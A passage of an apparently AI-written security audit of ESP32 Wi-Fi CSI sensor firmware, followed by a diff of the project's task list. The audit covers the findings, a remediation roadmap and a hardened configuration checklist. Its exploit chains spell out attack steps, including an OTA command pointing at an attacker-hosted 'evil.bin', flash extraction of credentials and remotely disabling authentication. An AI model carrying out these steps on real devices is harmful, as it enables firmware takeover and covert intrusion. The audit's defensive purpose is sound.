// Add a monotonic sequence counter stored in NVS
static uint32_t s_auth_seq = 0;
// Require sequence number in HMAC payload: "HMAC:<mac>:<seq>:<cmd>"
// Reject if seq <= s_auth_seq; update s_auth_seq on success
```
---
### VULN-010: Potential Buffer Overflow in CSI UDP Buffer
- **Severity:** Medium
- **CVSS v3.1:** 5.9 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)
- **Category:** A (Memory Safety)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `wifi_csi_rx_cb()`, lines 686-721
- **Description:** The `s_udp_buffer` is 2048 bytes. The CSI data is serialized into this buffer using repeated `snprintf` calls. In raw mode, each I/Q value is formatted as a signed integer with a comma separator. For the worst case, `info->len` could theoretically be large (ESP32 CSI buffers can be up to ~384 bytes for HT40). With 384 I/Q values, each formatted as up to 6 characters (","-32768"), the raw payload alone could reach ~2304 bytes, exceeding the 2048-byte buffer. While `snprintf` prevents writing beyond the buffer boundary (it respects the size parameter), the data will be silently truncated, potentially causing malformed output that could confuse downstream parsers. The `pos` variable will still be incremented beyond `sizeof(s_udp_buffer)` since `snprintf` returns the number of bytes that *would have been written*, and subsequent `snprintf` calls will compute `sizeof(s_udp_buffer) - pos` as a very large number (unsigned wraparound), effectively disabling the size check.
Specifically, at line 718:
```c
pos += snprintf(s_udp_buffer + pos, sizeof(s_udp_buffer) - pos, ",%d", ...);
```
If `pos` exceeds `sizeof(s_udp_buffer)`, then `sizeof(s_udp_buffer) - pos` wraps to a huge value (since `pos` is `int` and the subtraction result is passed as `size_t`), and the next `snprintf` will write past the buffer.
Wait -- `pos` is `int` and `sizeof(s_udp_buffer) - pos` when `pos > sizeof(s_udp_buffer)`: since `sizeof` returns `size_t` (unsigned), and `pos` is `int`, when `pos > 2048`, the subtraction could result in a large unsigned value due to implicit conversion. However, `s_udp_buffer + pos` would already point past the buffer. This creates a heap/stack corruption scenario if the CSI data is large enough.
- **Proof of Concept:** Send CSI frames with maximum HT40 I/Q data (384 bytes) in raw mode. The serialized output will exceed 2048 bytes, causing memory corruption in `s_udp_buffer` (which is a global, so adjacent globals could be corrupted).
- **Remediation:**
```c
// Add bounds check after each snprintf:
if (pos >= (int)sizeof(s_udp_buffer) - 10) {
ESP_LOGW(TAG, "CSI buffer overflow prevented");
break;
}
// Or increase buffer size to accommodate worst case:
static char s_udp_buffer[4096];
```
---
### VULN-011: mDNS Leaks Device Type, Hostname, and Port
- **Severity:** Medium
- **CVSS v3.1:** 5.3 (AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
- **Category:** I (Information Disclosure)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `app_main()`, lines 2668-2672
- **Description:** The device announces itself via mDNS with:
- Hostname: configurable (e.g., `muddy-storm.local`)
- Instance name: "ESP32 CSI Sensor" (hardcoded)
- Service: `_esp-csi._udp` with the data target port
This allows any device on the LAN to discover all CSI sensors, their hostnames, and the port they send data to, without any authentication. This is valuable reconnaissance information for an attacker.
- **Remediation:** Remove the hardcoded "ESP32 CSI Sensor" instance name or make it configurable. Consider whether mDNS service advertisement is necessary for production deployments.
---
### VULN-012: STATUS Command Exposes Build Info and Device Details
- **Severity:** Medium
- **CVSS v3.1:** 5.3 (AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
- **Category:** I (Information Disclosure)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_handle()` STATUS section, lines 1695-1778
- **Description:** The STATUS command (accessible without authentication) returns extensive device information including:
- Build date and time (`app_desc->date`, `app_desc->time`)
- ESP-IDF version (`app_desc->idf_ver`)
- Chip model and revision (`chip_model`, `chip_info.revision`)
- Firmware version (`app_desc->version`)
- Free heap, NVS usage statistics
- Whether auth is on/off
- Target IP and port (reveals the monitoring infrastructure)
- All operational parameters
This information aids an attacker in identifying specific CVEs for the IDF version, understanding the device's role, and finding the monitoring server.
- **Remediation:** Require authentication for STATUS or create a minimal public STATUS that only returns PONG-style acknowledgments. Move detailed information behind authentication.
---
### VULN-013: Unbounded OTA URL Length via strdup
- **Severity:** Medium
- **CVSS v3.1:** 5.3 (AV:A/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H)
- **Category:** J (DoS) / A (Memory Safety)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_handle()`, line 2125
- **Description:** The OTA URL is duplicated via `strdup(url)` without length validation beyond the 191-byte `rx_buf`. While `rx_buf` is 192 bytes (line 2515), limiting the maximum URL length to ~180 characters (after command prefix and null terminator), the `strdup` itself does not validate that the allocation succeeded, though the code does check for NULL on line 2126. The real concern is that `rx_buf` at 192 bytes naturally limits URL length, but if `rx_buf` were ever increased, this would become a larger issue. Currently, the 192-byte command buffer serves as an implicit size limit.
- **Remediation:** Add an explicit URL length check:
```c
if (strlen(url) > 128) {
snprintf(reply, reply_size, "ERR OTA URL too long (max 128)");
return strlen(reply);
}
```
---
### VULN-014: Race Conditions on Shared Globals Between Tasks
- **Severity:** Medium
- **CVSS v3.1:** 4.6 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L)
- **Category:** G (FreeRTOS/Concurrency)
- **Location:** Multiple locations throughout `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`
- **Description:** Multiple FreeRTOS tasks (cmd_task, adaptive_task, wifi_csi_rx_cb, led_task, ble callbacks) access shared global variables without mutexes. While some variables are marked `volatile`, this only prevents compiler optimizations and does NOT provide atomicity on the Xtensa architecture for operations wider than 32 bits. Specific concerns:
- `s_baseline_amps[]` (float array, 256 bytes) is written by `adaptive_task` during calibration finalization (line 996) while simultaneously read by `wifi_csi_rx_cb` for presence scoring (line 665). A partial update could produce incorrect presence scores.
- `s_csi_mode`, `s_send_frequency`, `s_adaptive`, `s_presence_enabled` are written by `cmd_task` and read by `wifi_csi_rx_cb` and `adaptive_task` without synchronization.
- `s_calibrating` is set by `cmd_task` (line 2231) and cleared by `adaptive_task` (line 1012), and read by `wifi_csi_rx_cb` (line 647). While `volatile bool` operations are likely atomic on Xtensa, the multi-variable state transitions (setting `s_calib_count`, `s_calib_nsub`, then `s_calibrating`) are not atomic as a group.
- `s_pr_scores[]` is written by `wifi_csi_rx_cb` and read by `adaptive_task`.
- **Remediation:** Use a FreeRTOS mutex for accessing shared calibration/presence state, or use FreeRTOS task notifications for signaling state changes. For simple flags, `volatile` is sufficient on Xtensa, but arrays and multi-field updates need synchronization.
---
### VULN-015: UART Console Active at 921600 Baud
- **Severity:** Low
- **CVSS v3.1:** 3.9 (AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- **Category:** H (Physical)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults`, lines 11-14
- **Description:** The UART console is enabled on UART0 at 921600 baud. All ESP_LOG output (including the auth secret on first boot per VULN-003) is transmitted over this serial connection. In a deployed sensor, if the UART pins are accessible (e.g., via a debug header or exposed pads), an attacker can passively capture all device logs, including configuration details, event notifications, and error messages.
- **Remediation:** For production builds, consider:
```
CONFIG_ESP_CONSOLE_NONE=y # Disable console entirely
# Or at minimum:
CONFIG_LOG_DEFAULT_LEVEL_WARN=y # Reduce default log verbosity
```
---
### VULN-016: Wi-Fi Credentials Stored in Plaintext NVS
- **Severity:** Low
- **CVSS v3.1:** 3.7 (AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- **Category:** F (WiFi/BLE)
- **Location:** Implicit -- `example_connect()` from `protocol_examples_common` stores Wi-Fi SSID/password in NVS
- **Description:** The Wi-Fi connection uses ESP-IDF's `example_connect()` helper, which stores the SSID and PSK in the default NVS namespace. Without NVS encryption or flash encryption, these credentials can be extracted by reading the flash chip. This is a standard ESP32 configuration weakness, but notable because these credentials provide network access.
- **Remediation:** Enable NVS encryption (`CONFIG_NVS_ENCRYPTION=y`) or flash encryption.
---
### VULN-017: NVS Write Throttle Bypassable Over Time
- **Severity:** Low
- **CVSS v3.1:** 3.1 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)
- **Category:** J (DoS)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `nvs_write_throttle()`, lines 378-391
- **Description:** The NVS write throttle limits writes to 20 per 10-second window. However, this allows a sustained rate of 2 writes/second indefinitely. ESP32 flash endurance is typically 100,000 erase cycles per sector. At 2 writes/second, and assuming NVS page rotation over 16KB (4 x 4KB sectors), flash wear-out could occur in approximately 100,000 / 2 / 3600 = ~14 hours of sustained attack. While the throttle is a good mitigation, it may not be aggressive enough for a determined attacker.
Additionally, `config_erase_key()` (line 441) does NOT go through the throttle, providing an unthrottled NVS write path.
- **Remediation:**
1. Add throttle check to `config_erase_key()`.
2. Consider a stricter limit (e.g., 5 writes per 60 seconds).
3. Add a per-IP rate limit on the command socket itself (VULN-018).
---
### VULN-018: No Rate Limiting on Command Socket
- **Severity:** Low
- **CVSS v3.1:** 3.1 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)
- **Category:** D (Network Security)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `cmd_task()`, lines 2520-2569
- **Description:** The command socket processes every received UDP packet with no rate limiting. An attacker can flood the command port with rapid requests, consuming CPU time in the command processing task (priority 5, one of the highest in the system). While individual NVS writes are throttled, the command parsing, HMAC verification (SHA-256 computation), and reply generation all consume resources without any throttle.
- **Remediation:** Add a per-source-IP rate limiter or a global command rate limit:
```c
static int64_t s_last_cmd_time = 0;
int64_t now = esp_timer_get_time();
if (now - s_last_cmd_time < 50000) { // 50ms minimum between commands
continue; // Drop packet
}
s_last_cmd_time = now;
```
---
### VULN-019: Probe body_len Calculated from Untrusted sig_len
- **Severity:** Low
- **CVSS v3.1:** 2.4 (AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)
- **Category:** A (Memory Safety)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `wifi_promiscuous_cb()`, line 1385
- **Description:**
```c
int body_len = pkt->rx_ctrl.sig_len - sizeof(wifi_ieee80211_mac_hdr_t);
```
The `sig_len` field comes from the Wi-Fi hardware's RX control metadata. While typically reliable, a malformed or crafted frame could report a `sig_len` smaller than `sizeof(wifi_ieee80211_mac_hdr_t)` (24 bytes), resulting in a negative `body_len`. The subsequent check `if (body_len >= 2 && body[0] == 0)` would fail (since `body_len` would be negative), so this is safely handled. However, the `body` pointer calculation (`pkt->payload + sizeof(...)`) is always performed, and on some implementations, `pkt->payload` might not have `sig_len` bytes available. The actual buffer provided by the ESP-IDF Wi-Fi driver should be safe, but this is a defensive coding concern.
- **Remediation:** Add explicit validation:
```c
if (pkt->rx_ctrl.sig_len < sizeof(wifi_ieee80211_mac_hdr_t) + 2) return;
```
---
### VULN-020: Example Code Pattern Used in Production
- **Severity:** Informational
- **Category:** AI-Generated Code Smell
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, line 2627; `/home/user/git/esp32-hacking/get-started/csi_recv_router/CMakeLists.txt`, line 9
- **Description:** The firmware uses `protocol_examples_common` and the `example_connect()` helper function, which is explicitly an ESP-IDF example utility not intended for production use. The comments even reference the examples documentation:
```c
/**
* @brief This helper function configures Wi-Fi, as selected in menuconfig.
* Read "Establishing Wi-Fi Connection" section in esp-idf/examples/protocols/README.md
*/
ESP_ERROR_CHECK(example_connect());
```
The `example_connect()` function has simplified error handling and may not handle edge cases robustly in production. The CMakeLists.txt pulls this from the IDF examples directory.
- **Remediation:** Replace `example_connect()` with production-grade Wi-Fi initialization code that handles reconnection, error states, and credential management properly.
---
### VULN-021: HMAC Truncated to 64 Bits
- **Severity:** Informational
- **Category:** C (Cryptography)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, function `auth_verify()`, lines 1492-1496
- **Description:** The HMAC-SHA256 output (256 bits) is truncated to the first 8 bytes (64 bits) for the authentication tag. While this is documented and intentional (to keep UDP packets compact), a 64-bit tag has a collision space of 2^64, which is computationally secure against brute-force but below the standard recommended minimum of 128 bits (RFC 2104 suggests at least half the hash length). For a LAN sensor with rate-limited access, this is acceptable but worth noting.
- **Remediation:** Consider using 16 bytes (128 bits / 32 hex chars) for the HMAC tag if packet size allows.
---
### VULN-022: No Firmware Version Anti-Rollback Enforcement
- **Severity:** Informational
- **Category:** E (OTA)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults`, line 66; `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, lines 2712-2720
- **Description:** While `CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE=y` is set (allowing the device to roll back to the previous firmware if the new one fails to boot), there is no anti-rollback mechanism to prevent downgrading to an older, potentially vulnerable firmware version. An attacker who can trigger OTA (via VULN-001) can flash an older firmware with known vulnerabilities. ESP-IDF supports `CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK` with an eFuse-based version counter, but it is not enabled.
- **Remediation:**
```
CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK=y
CONFIG_BOOTLOADER_APP_SECURE_VERSION=1 # Increment with each security-relevant release
```
---
### VULN-023: PMF (802.11w) Not Explicitly Enabled
- **Severity:** Informational
- **Category:** F (WiFi)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/sdkconfig.defaults`
- **Description:** Protected Management Frames (802.11w / PMF) is not explicitly enabled in the sdkconfig. While `CONFIG_EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK=y` is set (which may imply PMF for WPA3), the device is susceptible to deauthentication attacks from the AP side if the router doesn't enforce PMF. The firmware already detects deauth floods (promiscuous mode), but enabling PMF would prevent them at the protocol level.
- **Remediation:** Enable PMF:
```
CONFIG_ESP_WIFI_PMF_ENABLED=y
CONFIG_ESP_WIFI_PMF_REQUIRED=y
```
---
### VULN-024: Tight Stack Allocations on Several Tasks
- **Severity:** Informational
- **Category:** G (FreeRTOS)
- **Location:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`, multiple `xTaskCreate` calls
- **Description:** Several tasks have relatively tight stack allocations:
- `led_task`: 2048 bytes (line 2611) -- adequate for simple GPIO
- `reboot_after_delay`: 1024 bytes (lines 1658, 2426) -- adequate
- `adaptive`: 3072 bytes (line 2710) -- does floating-point math and snprintf into 128-byte buffers; marginal
- `cmd_task`: 6144 bytes (line 2709) -- handles `reply_buf[1400]` plus HMAC computation (mbedTLS context ~400 bytes); should be sufficient but tight with PROFILE command's `malloc` for task stats
- `powertest`: 4096 bytes (line 2151) -- should be sufficient
- `ota_task`: 8192 bytes (line 2131) -- adequate for HTTP client
The PROFILE command (lines 2046-2061) calls `malloc(n * sizeof(TaskStatus_t))` within the cmd_task, which allocates on the heap, not the stack, so this is safe. However, the mbedTLS HMAC computation in `auth_verify()` uses a stack-allocated `mbedtls_md_context_t` which can be several hundred bytes.
- **Remediation:** Use `PROFILE` command's task watermarks to verify actual stack usage in production. Consider increasing `adaptive` task stack to 4096 if floating-point operations grow.
---
## 5. Exploit Chains
### Chain 1: Unauthenticated Remote Code Execution (LAN)
**Steps:** VULN-007 + VULN-001
**Path:** Network -> Code Execution
1. Attacker discovers device via mDNS (VULN-011): `avahi-browse -art | grep esp-csi`
2. Attacker sends unauthenticated `CSI OFF` to disable monitoring (VULN-007)
3. Attacker sends unauthenticated `LOG NONE` to suppress logging (VULN-007)
4. Attacker sends unauthenticated `FLOODTHRESH 100 300` to suppress deauth alerts (VULN-007)
5. If auth is disabled (or after obtaining secret via other means), send `OTA http://<attacker>/evil.bin`
6. Device downloads and flashes attacker-controlled firmware (VULN-001)
7. Device reboots with full attacker code execution
**Impact:** Complete device compromise, persistent across reboots.
### Chain 2: Physical Access to Full Network Compromise
**Steps:** VULN-002 + VULN-006 + VULN-016
**Path:** Physical -> Credentials -> Network
1. Attacker gains brief physical access to one deployed sensor
2. Reads flash via esptool (no secure boot or encryption: VULN-002)
3. Extracts Wi-Fi PSK from NVS (VULN-016)
4. Extracts auth secret from NVS (VULN-006)
5. Joins the Wi-Fi network using extracted credentials
6. Has full authenticated access to ALL sensors on the same network (shared auth secret if default-generated)
7. Can trigger OTA on all sensors for persistent compromise
### Chain 3: Information Gathering to Targeted Attack
**Steps:** VULN-011 + VULN-012 + VULN-007
**Path:** Reconnaissance -> Manipulation
1. Discover all sensors via mDNS (VULN-011)
2. Query STATUS on each (no auth required) to get IDF version, firmware version, chip details (VULN-012)
3. Identify the monitoring server IP from STATUS `target=` field
4. Disable presence detection and CSI on all sensors (VULN-007)
5. Physical intrusion proceeds undetected
### Chain 4: Auth Secret Capture and Persistent Compromise
**Steps:** VULN-003 + VULN-005
**Path:** Serial Monitor -> Permanent Backdoor
1. Attacker captures auth secret from serial log during provisioning (VULN-003)
2. Sends `HMAC:<computed>:<ts>:AUTH OFF` to disable authentication (VULN-005)
3. Device is now permanently open to unauthenticated commands
4. Secret persists as empty string in NVS across reboots
5. Attacker has persistent unauthenticated access to OTA, REBOOT, FACTORY
---
## 6. Prioritized Remediation Roadmap
### Immediate (Ship-Blocking, Actively Exploitable)
| Priority | ID | Fix | Effort |
|----------|----|-----|--------|
| P0 | VULN-001 | Disable `CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP`, add TLS cert validation | 2h |
| P0 | VULN-007 | Require auth for all state-modifying commands | 1h |
| P0 | VULN-005 | Remove ability to disable auth remotely | 30m |
| P0 | VULN-003 | Stop logging auth secret in cleartext | 15m |
### Short-Term (Fix Before Fleet Deployment)
| Priority | ID | Fix | Effort |
|----------|----|-----|--------|
| P1 | VULN-010 | Fix buffer overflow potential in CSI serialization | 1h |
| P1 | VULN-004 | Implement source IP filtering on command socket | 2h |
| P1 | VULN-014 | Add mutex for shared calibration/presence state | 3h |
| P1 | VULN-009 | Add sequence counter for replay protection | 2h |
| P1 | VULN-017 | Add throttle to `config_erase_key()` | 15m |
| P1 | VULN-018 | Add rate limiting on command socket | 1h |
| P1 | VULN-019 | Add bounds check on probe body_len | 15m |
### Medium-Term (Next Release Cycle)
| Priority | ID | Fix | Effort |
|----------|----|-----|--------|
| P2 | VULN-012 | Move detailed STATUS info behind auth | 1h |
| P2 | VULN-011 | Make mDNS instance name configurable, reduce info leakage | 30m |
| P2 | VULN-020 | Replace `example_connect()` with production WiFi init | 4h |
| P2 | VULN-022 | Enable anti-rollback with eFuse version counter | 2h |
| P2 | VULN-021 | Increase HMAC tag to 128 bits | 1h |
| P2 | VULN-023 | Enable PMF (802.11w) | 30m |
### Hardening (Defense-in-Depth)
| Priority | ID | Fix | Effort |
|----------|----|-----|--------|
| P3 | VULN-002 | Enable secure boot and flash encryption (requires eFuse burn, one-way) | 8h |
| P3 | VULN-006 | Enable NVS encryption | 2h |
| P3 | VULN-016 | Enable NVS encryption (covers WiFi creds too) | (same as above) |
| P3 | VULN-015 | Disable UART console or reduce log level for production builds | 1h |
| P3 | VULN-008 | Bind command socket to specific interface IP | 1h |
| P3 | VULN-024 | Monitor and tune task stack sizes via PROFILE | 1h |
---
## 7. Appendix: Secure Configuration Checklist for ESP-IDF sdkconfig
```
# --- Security: Secure Boot ---
CONFIG_SECURE_BOOT=y
CONFIG_SECURE_BOOT_V2_ENABLED=y # Use V2 on supported chips
CONFIG_SECURE_BOOT_SIGNING_KEY="path/to/key.pem"
CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK=y
CONFIG_BOOTLOADER_APP_SECURE_VERSION=1
# --- Security: Flash Encryption ---
CONFIG_SECURE_FLASH_ENC_ENABLED=y
CONFIG_SECURE_FLASH_ENCRYPTION_MODE_RELEASE=y # Development mode allows re-flash
CONFIG_NVS_ENCRYPTION=y
# --- Security: OTA ---
CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP=n # [CURRENTLY: y -- CHANGE]
CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE=y # [ALREADY SET]
CONFIG_ESP_TLS_INSECURE=n
CONFIG_ESP_TLS_SKIP_SERVER_CERT_VERIFY=n
# --- Security: WiFi ---
CONFIG_ESP_WIFI_PMF_ENABLED=y
CONFIG_ESP_WIFI_PMF_REQUIRED=y
CONFIG_EXAMPLE_WIFI_AUTH_WPA2_WPA3_PSK=y # [ALREADY SET]
# --- Security: Debug ---
# For production, consider:
CONFIG_ESP_CONSOLE_NONE=y # Disable UART console
CONFIG_LOG_DEFAULT_LEVEL_WARN=y # Reduce log verbosity
# CONFIG_APPTRACE_DEST_JTAG is not set # [ALREADY NOT SET]
# --- Security: Stack Protection ---
CONFIG_COMPILER_STACK_CHECK_MODE_STRONG=y # Enable stack canaries
CONFIG_ESP_SYSTEM_MEMPROT_FEATURE=y # Memory protection (S2/S3/C3)
# --- Performance (already set) ---
CONFIG_COMPILER_OPTIMIZATION_SIZE=y # [ALREADY SET]
CONFIG_ESP_TASK_WDT_TIMEOUT_S=30 # [ALREADY SET]
CONFIG_FREERTOS_HZ=1000 # [ALREADY SET]
```
---
**End of Report**
This audit covers all requested categories (A through J), identifies 24 findings across all severity levels, maps 4 exploit chains, and provides a prioritized remediation roadmap with estimated effort. The P0 fixes (VULN-001, VULN-003, VULN-005, VULN-007) collectively address the most critical attack paths and can be implemented in approximately 4 hours of development effort.

View File

@@ -1,24 +1,105 @@
# ESP32 Hacking Tasks # ESP32 Hacking Tasks
**Last Updated:** 2026-02-05 **Last Updated:** 2026-02-14
## Current Sprint: v1.7+ — Presence Tuning & Integration ## Completed: v1.12-dev — Security Hardening & Pentest
Security hardening deployed to amber-maple. Full pentest executed 2026-02-14.
- [x] Auth whitelist: only read-only queries work without HMAC auth
- [x] AUTH OFF disabled remotely (serial console or FACTORY reset only)
- [x] HMAC 128-bit (32 hex chars), replay window +/-5s, nonce dedup cache (8 entries)
- [x] STATUS split: minimal (unauthed) vs full (authed) response
- [x] Rate limiter: 50ms inter-command throttle (20 cmd/s max)
- [x] NVS write throttle: 20 writes per 10s window
- [x] CSI buffer bounds checking (UDP_REM macro)
- [x] PMF (802.11w) required: `CONFIG_ESP_WIFI_PMF_REQUIRED=y`
- [x] mDNS: hostname only, no service advertisement
- [x] Serial console AUTH management (UART0, 921600 baud)
- [x] ALERT command (temp/heap thresholds, EVENT emission)
- [x] Secret auto-generated on first boot, redacted in boot log
- [x] Pentest: mDNS service discovery — PASS (no service ads)
- [x] Pentest: Port scan — PASS (only 5353/udp + 5501/udp open, 0 TCP)
- [x] Pentest: Firmware binary analysis — PASS (no hardcoded secrets)
- [x] Pentest: eFuse readout — all security fuses unburned (expected for dev)
- [x] Pentest: HMAC timing oracle — PASS (constant-time comparison effective)
- [x] Pentest: Command injection (27 tests) — PASS (all handled safely)
- [x] Pentest: Replay attack (6 tests) — PASS (all rejected)
- [x] Pentest: NVS partition analysis — auth_secret in plaintext (expected without flash encryption)
- [x] Pentest: ESP-IDF CVE check (12 CVEs) — 8 N/A, 4 LOW risk
- [x] Pentest: Binary structure — no stack canaries, no heap poisoning (fix recommended)
- [x] Pentest results documented in `docs/PENTEST-RESULTS.md`
## Completed: v1.11.0 — Diagnostics & Usability
Deployed to fleet 2026-02-14.
- [x] CSI ON/OFF command to toggle CSI collection
- [x] HELP command (lists all 30 commands with syntax)
- [x] FACTORY command (erase NVS config + reboot)
- [x] CONFIG command (dump all running config key=value)
- [x] PING command (echo reply, returns OK PONG)
- [x] LOG command (runtime log level: NONE/ERROR/WARN/INFO/DEBUG/VERBOSE)
- [x] RSSI RESET command (reset min/max counters)
- [x] Tagged v1.11.0 and OTA deployed to all 3 sensors
## Web Backend (`~/git/esp32-web/`)
Tracked separately in `~/git/esp32-web/TASKS.md`. Currently at v0.1.5.
## Firmware Backlog
### P1 - High
- [x] Test OTA rollback — crasher firmware flashed to amber-maple, bootloader rolled back to v1.11.0 (2026-02-14)
- [x] Enable stack canaries: `CONFIG_COMPILER_STACK_CHECK_MODE_NORM=y` (2026-02-14)
- [x] Enable heap poisoning: `CONFIG_HEAP_POISONING_LIGHT=y` (2026-02-14)
- [x] Enable WDT panic: `CONFIG_ESP_TASK_WDT_PANIC=y` (2026-02-14)
- [x] Remove unused `#include "esp_now.h"` (2026-02-14)
- [x] Remove hardcoded default IP from Kconfig (2026-02-14)
### P1 - High
- [x] OTA TLS certificate verification via ESP-IDF CA bundle (2026-02-14)
### P2 - Normal ### P2 - Normal
- [ ] Tune presence threshold per room with real-world testing - [ ] Tune presence threshold per room with real-world testing
- [x] Pi-side presence event handling in watch daemon
- [x] Firmware security audit (cppcheck + manual review — no issues found)
- [ ] Power consumption measurements using POWERTEST + external meter - [ ] Power consumption measurements using POWERTEST + external meter
- [ ] Test OTA rollback (flash bad firmware, verify auto-revert) - [ ] Multi-target (send UDP to 2+ destinations)
- [ ] Create HA webhook automations for deauth_flood / unknown_probe
### P3 - Low ### P3 - Low
- [x] ALERT command — temp/heap threshold monitoring with EVENT emission (2026-02-14)
- [ ] Deep sleep mode with wake-on-CSI-motion - [ ] Deep sleep mode with wake-on-CSI-motion
- [ ] Battery-optimized duty cycling - [ ] Battery-optimized duty cycling
- [ ] AP+STA config portal (captive portal for initial setup)
### Documentation
- [ ] Document esp-crab dual-antenna capabilities - [ ] Document esp-crab dual-antenna capabilities
- [ ] Document esp-radar console features - [ ] Document esp-radar console features
- [ ] Pin mapping for ESP32-DevKitC V1 - [ ] Pin mapping for ESP32-DevKitC V1
## Completed: v1.10 - LED Quiet Mode & CI Hardening
- [x] LED quiet mode (off normally, solid on motion/presence, blinks on OTA)
- [x] Default LED to quiet mode
- [x] Build metadata in STATUS reply
- [x] CI security checks (secrets scan, config validation)
- [x] Firmware size check and version tag validation
- [x] Size optimization (`-Os`, saves ~75KB)
- [x] CSI ON/OFF toggle command
## Completed: v1.9 - Multi-Channel Scanning & BLE Fingerprinting
- [x] CHANSCAN command (ON/OFF/NOW/INTERVAL)
- [x] Channel hopping (1-13) with 100ms dwell, pause CSI during scan
- [x] chanscan= field in STATUS, chanscan_int NVS persistence
- [x] BLE fingerprinting: company_id, tx_power, adv_flags in BLE_DATA
- [x] Historical presence sessions support
## Completed: v1.8 - HTTPS OTA Support
- [x] Support HTTPS URLs for OTA updates (esp_https_ota)
- [x] CI: Upload firmware to Gitea releases for OTA
- [x] CI: Simplify deploy script to pure POSIX sh
## Completed: v1.7 - Baseline Calibration & Presence Detection ## Completed: v1.7 - Baseline Calibration & Presence Detection
- [x] CALIBRATE command (capture N seconds of CSI, average per-subcarrier amplitudes) - [x] CALIBRATE command (capture N seconds of CSI, average per-subcarrier amplitudes)
@@ -172,10 +253,12 @@
## Notes ## Notes
- Adaptive threshold varies by environment; 0.001-0.01 is a good starting range - Adaptive threshold varies by environment; 0.001-0.01 is a good starting range
- NVS keys: `send_rate`, `tx_power`, `adaptive`, `threshold`, `ble_scan`, `target_ip`, `target_port`, `hostname`, `boot_count`, `csi_mode`, `hybrid_n`, `auth_secret`, `flood_thresh`, `flood_window`, `scan_rate`, `probe_rate`, `powersave`, `presence`, `pr_thresh`, `bl_nsub`, `bl_amps` - NVS keys (28 total): `send_rate`, `tx_power`, `adaptive`, `threshold`, `ble_scan`, `target_ip`, `target_port`, `hostname`, `boot_count`, `csi_mode`, `hybrid_n`, `auth_secret`, `flood_thresh`, `flood_window`, `scan_rate`, `probe_rate`, `powersave`, `presence`, `pr_thresh`, `bl_nsub`, `bl_amps`, `chanscan`, `chanscan_int`, `led_quiet`, `csi_enabled`, `alert_temp`, `alert_heap`
- UDP commands (28 total): STATUS, CONFIG, RATE, POWER, TARGET, HOSTNAME, CSI, CSIMODE, ADAPTIVE, THRESHOLD, BLE, SCANRATE, PROBERATE, CALIBRATE, PRESENCE, CHANSCAN, LED, POWERSAVE, AUTH, FLOODTHRESH, ALERT, OTA, POWERTEST, PROFILE, PING, LOG, RSSI RESET, IDENTIFY, REBOOT, FACTORY, HELP
- EVENT packets include sensor hostname: `EVENT,<hostname>,motion=... rate=... wander=...` - EVENT packets include sensor hostname: `EVENT,<hostname>,motion=... rate=... wander=...`
- Alert events: `EVENT,<hostname>,alert=heap free=<n> thresh=<n>` and `EVENT,<hostname>,alert=temp value=<n> thresh=<n>`
- ALERT_DATA format: `ALERT_DATA,<hostname>,<deauth|disassoc>,<sender_mac>,<target_mac>,<rssi>` or `ALERT_DATA,<hostname>,deauth_flood,<count>,<window_s>` - ALERT_DATA format: `ALERT_DATA,<hostname>,<deauth|disassoc>,<sender_mac>,<target_mac>,<rssi>` or `ALERT_DATA,<hostname>,deauth_flood,<count>,<window_s>`
- STATUS fields: `uptime=`, `uptime_s=`, `heap=`, `rssi=`, `channel=`, `tx_power=`, `rate=`, `csi_rate=`, `hostname=`, `version=`, `adaptive=`, `motion=`, `ble=`, `target=`, `temp=`, `csi_count=`, `boots=`, `rssi_min=`, `rssi_max=`, `csi_mode=`, `hybrid_n=`, `auth=`, `flood_thresh=`, `powersave=`, `presence=`, `pr_score=` - STATUS fields: `uptime=`, `uptime_s=`, `heap=`, `rssi=`, `channel=`, `tx_power=`, `rate=`, `csi_rate=`, `hostname=`, `version=`, `adaptive=`, `motion=`, `ble=`, `target=`, `temp=`, `csi_count=`, `boots=`, `rssi_min=`, `rssi_max=`, `csi=`, `csi_mode=`, `hybrid_n=`, `auth=`, `flood_thresh=`, `powersave=`, `presence=`, `pr_score=`, `chanscan=`, `led=`, `alert_temp=`, `alert_heap=`, `nvs_used=`, `nvs_free=`, `nvs_total=`, `part_size=`, `built=`, `idf=`, `chip=`
